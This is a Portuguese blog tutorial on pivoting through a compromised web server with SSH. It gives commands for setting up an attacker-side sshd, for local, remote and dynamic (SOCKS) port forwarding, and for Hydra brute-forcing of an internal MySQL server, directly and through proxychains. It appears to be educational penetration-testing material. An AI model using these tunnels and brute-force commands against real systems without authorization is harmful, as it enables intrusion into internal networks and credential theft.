Pivoting com SSH

Pivoting com SSH

Uma das ferramentas mais eficazes para o processo de Pivoting é o OpenSSH , que se destaca por sua legitimidade e confiança. Neste post, vamos explorar a utilização do OpenSSH (ou apenas SSH) para realizar pivoting em redes internas, abordando sua instalação, uso básico e exemplos práticos.

Caso você ainda não saiba o que é Pivoting, recomendo a leitura do nosso post sobre o assunto !

O que é SSH?

SSH (ou Secure Shell) é um protocolo de rede criptografado usado principalmente para operar ou administrar servidores. Ele é mais comumente utilizado para acessar remotamente sistemas Unix/Linux e permite executar comandos, transferir arquivos e até redirecionar portas de maneira segura entre hosts na rede.

O SSH funciona por meio de um modelo cliente-servidor, onde o cliente SSH se conecta ao servidor SSH usando credenciais como senha ou chaves públicas/privadas para autenticação. A comunicação entre o cliente e o servidor é criptografada, garantindo a confidencialidade e integridade dos dados trocados.

Como instalar o OpenSSH Client?

Veja abaixo como instalar o OpenSSH Client em máquinas Linux e Windows.

  • Linux
  • Windows

O Client SSH já vem instalado por padrão em todas as distribuições linux.

Nenhuma ação é necessária!

Nas últimas versões do Windows, o OpenSSH Client já vem instalado por padrão. Caso esteja em uma versão mais antiga, siga o passo a passo abaixo.

Primeiramente, abra o Powershell e execute o comando abaixo para criar um diretório e realizar o download:

mkdir C:\Tools\SSH;cd C:\Tools\SSH
IWR https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64.zip -OutFile OpenSSH-Win64.zip

Agora extraia os arquivos utilizando o Expand-Archive do Powershell:

Expand-Archive -Path "OpenSSH-Win64.zip" -DestinationPath "ssh" -Force

Mova os arquivos para que fiquem direto em C:\Tools\SSH:

Move-Item -Path "OpenSSH-Win64\*" -Destination "C:\Tools\SSH" -Force;Remove-Item -Path .\OpenSSH-Win64*

Caso você queira adicionar o C:\Tools\SSH no PATH para não precisar digitar o caminho do binário completo:

$env:Path += ";C:\Tools\SSH";[System.Environment]::SetEnvironmentVariable("Path", $env:Path, [System.EnvironmentVariableTarget]::User)

Exemplificando Pivoting com SSH

Para exemplificar o uso do Pivoting com SSH, veja abaixo um cenário em que o atacante precisa comprometer um servidor Web (Rede pública) que tem conectividade com um servidor de Banco de Dados da rede interna ou privada:

SSH Pivoting

Neste caso, o SSH Server seria executado na máquina do atacante, enquanto o SSH Client seria executado na máquina Web invadida, fazendo com que o atacante tenha acesso ao host 192.168.100.100.

Pivoting com SSH

Configurando o servidor SSH

Algumas opções precisam ser alteradas no sshd_config para que o SSH Server permita o encaminhamento de portas e criação de SOCKS Proxy.

Primeiro, configure o servidor SSH na sua máquina que receberá a conexão:

sudo apt update && sudo apt install openssh-server
sudo systemctl enable ssh
sudo systemctl start ssh
sudo bash -c 'echo -e "\nAllowTcpForwarding yes\nGatewayPorts yes\nPermitTunnel yes\nPermitRootLogin yes\n" >> /etc/ssh/sshd_config && systemctl restart sshd'


Warning

O PermitRootLogin é opcional, você pode conectar-se com qualquer usuário.

Realizando o Pivoting via SSH

Agora, existem três métodos que podem ser utilizados para realizar o pivoting:

1. Encaminhamento de portas local

O encaminhamento de portas local (parâmetro -L) é usado para encaminhar uma porta da máquina cliente para uma porta da máquina servidor. Basicamente, o cliente SSH escuta conexões em uma porta configurada e, quando recebe uma conexão, tunela a conexão para o servidor SSH. O servidor se conecta a uma porta de destino configurada (essa porta de destino pode ser uma máquina diferente do Servidor SSH).

Por exemplo, veja o comando abaixo:

ssh -L 81:192.168.1.105:3306 user@pivot -N

Para exemplificar um cenário, veja a explicação e imagem abaixo:

  • Estamos conectando via SSH na máquina pivot com o usuário user
  • A máquina pivot tem acesso a porta 3306 do host 192.168.1.105 (DB Server)
  • Será aberta a porta 81 na máquina cliente e, ao realizar qualquer requisição para essa porta, o tráfego será encaminhado para 192.168.1.105:3306
Pivoting com SSH - Local Forward

Agora, na máquina cliente já seria possível realizar um brute force no MySQL do host 192.168.1.105 com Hydra da seguinte maneira:

hydra -L users.txt -P passwords.txt -s 81 127.0.0.1 mysql -VI

2. Encaminhamento de portas remoto

O encaminhamento de portas remoto (parâmetro -R) é usado para encaminhar uma porta da máquina SSH Server para uma porta de outro servidor remoto (ou até mesmo uma porta local). No cenário abaixo, a porta 81 será aberta no SSH Server e a conexão será então tunelada de volta para o host do cliente e o cliente fará uma conexão TCP com a porta 3306 do host remoto.

ssh -R 81:192.168.1.105:3306 user@kali -N

Para exemplificar um cenário, veja a explicação e imagem abaixo:

  • Estamos conectando via SSH na máquina Kali com o usuário user
  • A máquina pivot tem acesso a porta 3306 do host 192.168.1.105 (DB Server)
  • Será aberta a porta 81 na máquina servidor ssh (Kali) e, ao realizar qualquer requisição para essa porta, o tráfego será encaminhado para 192.168.1.105:3306
Pivoting com SSH - Remote Forwarding

Agora, na máquina servidor já seria possível realizar um brute force no MySQL do host 192.168.1.105 com Hydra da seguinte maneira:

hydra -L users.txt -P passwords.txt -s 81 127.0.0.1 mysql -VI

3. Encaminhamento dinâmico de portas (ou SOCKS Proxy)

O encaminhamento dinâmico de portas permite a criação de um túnel entre sua máquina local e um servidor SSH remoto. Existem duas maneiras de realizar essa operação via SSH:

  • Transformando o servidor SSH em um servidor proxy
  • Transformando o cliente SSH em um servidor proxy

O encaminhamento dinâmico é bem diferente do encaminhamento de portas local e remoto: Enquanto estes dois redirecionam portas específicas para hosts específicos, o encaminhamento dinâmico permite redirecionar o tráfego de muitos hosts e portas rapidamente.

Lembre-se de que as opções AllowTcpForwarding e GatewayPorts precisam estar ligadas no sshd_config, como já falado acima na seção Configurando o servidor SSH.

3.1 Transformando o Servidor SSH em Proxy

Primeiro, vamos observar o funcionamento transformando o Servidor SSH em um servidor proxy. Essa técnica/operação também é chamada de Reverse Socks Proxy:

ssh -R 9050 user@kali

Para exemplificar o uso do Reverse Socks Proxy, veja a imagem abaixo:

Pivoting com SSH - Encaminhamento Dinâmico com -R
3.2 Transformando o Cliente SSH em Proxy

Agora vamos ver o segundo método, transformando o Cliente SSH em um servidor proxy:

ssh -D 1337 -q -C -N -f root@pivot

Veja a imagem abaixo que exemplifica o funcionamento:

Pivoting com SSH - Encaminhamento Dinâmico com -D

Agora que você já criou o socks proxy, poderá executar o Proxychains para direcionar o tráfego para o DB Server:

proxychains hydra -C users_passwords.txt mysql://192.168.100.100 -VI

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Como alterar porta do SSH [Debian9]

Como alterar porta do SSH [Debian9]

No post de hoje vamos aprender como alterar a porta do serviço SSH em seu servidor Linux.

Ler post completo
Instalando DVWA com WSL2

Instalando DVWA com WSL2

A DVWA (Damn Vulnerable Web Application) é uma aplicação que contém diversas vulnerabilidades e que serve para praticar segurança em aplicações Web.

Ler post completo
Enumeração de arquivos e diretórios com feroxbuster

Enumeração de arquivos e diretórios com feroxbuster

Feroxbuster é uma ferramenta gratuita e de código aberto escrita em Rust, projetada para realizar forced browsing (navegação forçada) em aplicações web.

Ler post completo